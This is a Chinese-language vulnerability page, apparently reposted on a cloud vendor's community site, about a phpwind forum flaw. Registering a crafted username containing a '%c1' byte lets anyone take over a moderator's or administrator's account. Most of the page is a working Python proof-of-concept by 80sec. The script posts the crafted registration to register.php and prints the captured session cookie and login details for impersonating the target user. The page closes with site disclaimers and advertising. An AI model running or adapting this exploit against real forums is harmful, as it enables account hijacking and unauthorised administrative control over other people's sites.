phpwind系統管理權限泄露漏洞

來源:互聯網
上載者:User
漏洞說明:phpwind是國內使用非常廣泛的一款程式,由於在程式設計上存在錯誤,導致任何人可以取得前台管理員及斑主許可權,做刪除文章等任意操作
漏洞分析:由於phpwind論壇在設計上對資料庫儲存機制不瞭解,導致在程式邏輯上判斷有問題,用精心構造的資料註冊使用者即可獲得系統管理權限
漏洞測試:

[code]
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def banner():
    print ""
    print "########################################################"
    print "Phpwind所有版本系統管理權限泄露漏洞利用poc"
    print "Copyright (C) 2006"
    print "jianxin@80sec.com"
    print "80sec是一個新的致力於web安全的小團體"
    print "http://www.80sec.com"

def usage():
    banner()
    print "Usage:\n"
    print "   $ ./phpwind.py pwforumurl usertoattack\n"
    print "   pwforumurl 目標論壇地址如http://www.80sec.com/"
    print "   usertoattack 目標擁有許可權的斑竹或管理員"
    print "   攻擊結果將會在目標論壇註冊一個和目標使用者一樣的帳戶"
    print "   最新版本可以使用uid登陸"
    print "   其他版本可以使用cookie+useragent登陸"
    print "########################################################"
    print ""

argvs=sys.argv
usage()

data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url     = pwurl ,
        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
        data    = data)

f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"
[/code]

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.